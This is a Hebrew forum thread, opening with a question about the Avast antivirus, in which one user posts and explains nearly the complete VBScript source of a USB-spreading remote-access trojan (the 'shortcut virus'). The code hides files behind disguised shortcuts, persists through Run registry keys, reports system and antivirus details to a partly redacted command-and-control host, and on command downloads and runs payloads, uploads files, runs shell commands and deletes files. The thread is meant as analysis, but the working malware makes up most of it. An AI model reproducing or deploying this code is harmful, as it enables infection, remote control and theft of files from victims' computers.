אנטי ווירוס 'אווסט', כדאי להתקין ?
-
@WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:
נראה לך שהוירוס של הקיצורי דרך כ"כ תמים?
זו פשוט שיטת ההפצה ללא חיבור אינטרנטי, בד"כ מדובר על 'סוס טרויאני', שנכתב בVBS פשוט (עם הצפנה טיפשית של *#123, וגם המשתנים עם אותם השמות...), יש גם מקומפלים לEXE.אם מישהו מעוניין, אוכל להסביר את עצמי יותר טוב.
אני הייתי מעונין בקישור שיתמוך בדבריך או יאשש אותם. אם התכוונת למשהו שאמור להבריח מידע מהמחשב (סוס טרויאני).
-
@5566NEWbrs אתה יודע לקרוא VB?
-
@WWW כן.
-
@5566NEWbrs בעז"ה בערב, אעלה לכאן את כל הוירוס בכבודו ובעצמו...
-
@WWW
להכין מסכות??? -
@5566NEWbrs אוקיי,
נמצאים תח"י 3 גרסאות, אני מעלה גרסה אחת:הכתובת אליו נשלח המידע (ערכתי את הכתובת, כי זה נראה שמשום מה הכתובת פתוחה בנטפרי), וקבועים:
'<[ recoder : houdini (c) skype : houdini-fx ]> '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= host = "microsoftsXXXXm.sXXXs.net" port = 4442 installdir = "%temp%" lnkfile = true lnkfolder = true
אובייקטים ומשתנים:
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= dim shellobj set shellobj = wscript.createobject("wscript.shell") dim filesystemobj set filesystemobj = createobject("scripting.filesystemobject") dim httpobj set httpobj = createobject("msxml2.xmlhttp") '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= installname = wscript.scriptname startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\" if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" spliter = "<" & "|" & ">" sleep = 5000 dim response dim cmd dim param info = "" usbspreading = "" startdate = "" dim oneonce
תחילת הקוד:
כאן בעצם הוא מפעיל לולאה אין סופית (עם השהיה של 5 שניות לאחר סיום הפעולה), ששולחת מידע לשרת (גרסת המחשב, אנטי וירוס, גרסת העדכון של האנטי וירוס, איך הגיע הוירוס למחשב), ופועלת לפי התשובה, יש 13 תשובות שהוא יכול לקבל (ביניהם: עדכון הוירוס, הסרה שקטה של הוירוס מהמחשב, קבלת קבצים נוספים (וירוסים כמובן) מהשרת והפעלתם במחשב, שליחת קבצים מהמחשב לשרת, הפעלת פקודות דרך שורת הפקודה (בזה בעצם הוא יכול לבצע כל פעולה במחשב), למחוק קבצים במחשב, לסיים את הוירוס, להשהות את הוירוס לפרק זמן שהשרת שולח, ועוד!) ובאמצעותם התוכנה פועלת במחשב,'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= on error resume next instance while true install response = "" response = post ("is-ready","") cmd = split (response,spliter) select case cmd (0) case "excecute" param = cmd (1) execute param case "update" param = cmd (1) oneonce.close set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) wscript.quit case "uninstall" uninstall case "send" download cmd (1),cmd (2) case "site-send" sitedownloader cmd (1),cmd (2) case "recv" param = cmd (1) upload (param) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) case "enum-process" post "is-enum-process",enumprocess case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) case "delete" param = cmd (1) deletefaf (param) case "exit-process" param = cmd (1) exitprocess (param) case "sleep" param = cmd (1) sleep = eval (param) end select wscript.sleep sleep wend
בשורות הבאות, הוירוס מבצע את כל העסק של הקיצורי דרך, (שיפעילו קודם את הוירוס ואח"כ את הקובץ המבוקש, משנה את התמונה לתמונת הקובץ, דואג שכל אונקי שמתחבר למחשב יקבל מיד את כל הנ"ל, מסתיר את כל הקבצים והתיקיות, ועוד):
sub install on error resume next dim lnkobj dim filename dim foldername dim fileicon dim foldericon upstart for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true if filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 end if for each file in filesystemobj.getfolder( drive.path & "\" ).Files if not lnkfile then exit for if instr (file.name,".") then if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 2+4 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") if instr (fileicon,",") = 0 then lnkobj.iconlocation = file.path else lnkobj.iconlocation = fileicon end if lnkobj.save() end if end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders if not lnkfolder then exit for folder.attributes = 2+4 foldername = folder.name set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit" foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") if instr (foldericon,",") = 0 then lnkobj.iconlocation = folder.path else lnkobj.iconlocation = foldericon end if lnkobj.save() next end If end If end if next err.clear end sub
פונקציית ההסרה, שמתקנת את כל הנ"ל:
sub uninstall on error resume next dim filename dim foldername shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) filesystemobj.deletefile startup & installname ,true filesystemobj.deletefile wscript.scriptfullname ,true for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then for each file in filesystemobj.getfolder ( drive.path & "\").files on error resume next if instr (file.name,".") then if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 0 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) else filesystemobj.deletefile (drive.path & "\" & file.name) end If else filesystemobj.deletefile (file.path) end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders folder.attributes = 0 next end if end if end if next wscript.quit end sub function post (cmd ,param) post = param httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false httpobj.setrequestheader "user-agent:",information httpobj.send param post = httpobj.responsetext end function
איסוף מידע על המחשב:
function information on error resume next if inf = "" then inf = hwid & spliter inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery ("select * from win32_operatingsystem") for each osinfo in os inf = inf & osinfo.caption & spliter exit for next inf = inf & "plus" & spliter inf = inf & security & spliter inf = inf & usbspreading information = inf else information = inf end if end function
שאר הפונקציות:
sub upstart () on error resume Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true end sub function hwid on error resume next set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set disks = root.execquery ("select * from win32_logicaldisk") for each disk in disks if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber exit for end if next end function function security on error resume next security = "" set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) for each objitem in colitems versionstr = split (objitem.version,".") next versionstr = split (colitems.version,".") osversion = versionstr (0) & "." for x = 1 to ubound (versionstr) osversion = osversion & versionstr (i) next osversion = eval (osversion) if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter" set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) for each objantivirus in colantivirus security = security & objantivirus.displayname & " ." next if security = "" then security = "nan-av" end function function instance on error resume next usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\") if usbspreading = "" then if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then usbspreading = "true - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" else usbspreading = "false - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" end if end If upstart set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname) set installfullnameshort = filesystemobj.getfile (installdir & installname) if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34) wscript.quit end If err.clear set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false) if err.number > 0 then wscript.quit end function sub sitedownloader (fileurl,filename) strlink = fileurl strsaveto = installdir & filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub sub download (fileurl,filedir) if filedir = "" then filedir = installdir end if strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1) set objhttpdownload = createobject("msxml2.xmlhttp") objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false objhttpdownload.send "" set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub function upload (fileurl) dim httpobj,objstreamuploade,buffer set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with set objstreamdownload = nothing set httpobj = createobject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false httpobj.send buffer end function function enumdriver () for each drive in filesystemobj.drives if drive.isready = true then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter end if next end Function function enumfaf (enumdir) enumfaf = enumdir & spliter for each folder in filesystemobj.getfolder (enumdir).subfolders enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter next for each file in filesystemobj.getfolder (enumdir).files enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter next end function function enumprocess () on error resume next set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process",,48) dim objitem for each objitem in colitems enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & spliter next end function sub exitprocess (pid) on error resume next shellobj.run "taskkill /F /T /PID " & pid,7,true end sub sub deletefaf (url) on error resume next filesystemobj.deletefile url filesystemobj.deletefolder url end sub function cmdshell (cmd) dim httpobj,oexec,readallfromany set oexec = shellobj.exec ("%comspec% /c " & cmd) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = oexec.stderr.readall else readallfromany = "" end if cmdshell = readallfromany end function
-
@WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:
(ערכתי את הכתובת, כי זה נראה שמשום מה הכתובת פתוחה בנטפרי)
מה הכתובת?, אין סיבה שזה יהיה פתוח בנטפרי, וא"כ זה צריך להיחסם
-
-
@מעמד אני לא לוכד אף אחד...
-
@shraga האמת שאני לא יודע, פשוט הבקשה לא הגיבה כמה עשרות שניות, ייתכן באמת שזה חסום.
-
@WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:
@מעמד אני לא לוכד אף אחד...
התכוונתי שאתה לוכד ווירוסים
-
-
האתר לא נבדק, וכנראה גם לא פעיל
-
@shraga נכון: timed ou
וזה גם מה שקרה לי, אגב אני מנסה כעת ממחשב אחר, וזה נראה שווינדוס חוסם את הכתובת, (לא האנטי וירוס). -
@5566NEWbrs נו, מה אתה אומר?
-
@WWW אני לא באמת יכול להתעמק בכל זה כל כך מהר, אבל לא מצאתי את הקטע שמעלה קבצים מהמחשב, ואם כן איזה, ובאיזה תנאי.
מה שכן, זכור לי מהעבר שבדקתי את הוירוס הזה והוא הכיל קוד הרבה יותר קצר ופשוט. שום דבר שקשור לרשת חיצונית לא היה בו. -
@5566NEWbrs זה כבר די ישן, כמה שנים לפחות, ויש אמנם גרסה עם קצת פחות קוד, אבל אותו עקרון.
-
@5566NEWbrs אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:
ואם כן איזה, ובאיזה תנאי.
לפי תשובת השרת, באופן ידני או אוטומטי...
-
@WWW תשובת השרת משנה גם לגבי איזה קבצים הוא יעלה?
-
@5566NEWbrs זה עובד בצורה שהוירוס שולח כל 5 שניות בקשה לשרת עם פרטים על המחשב, ופועל לפי התשובה, אם התשובה היא שיעלה את הקובץ הזה והזה, אז הוא מעלה אותו, וכן הלאה.
פונקציית ההעלאה:function upload (fileurl) dim httpobj,objstreamuploade,buffer set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with set objstreamdownload = nothing set httpobj = createobject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false httpobj.send buffer end function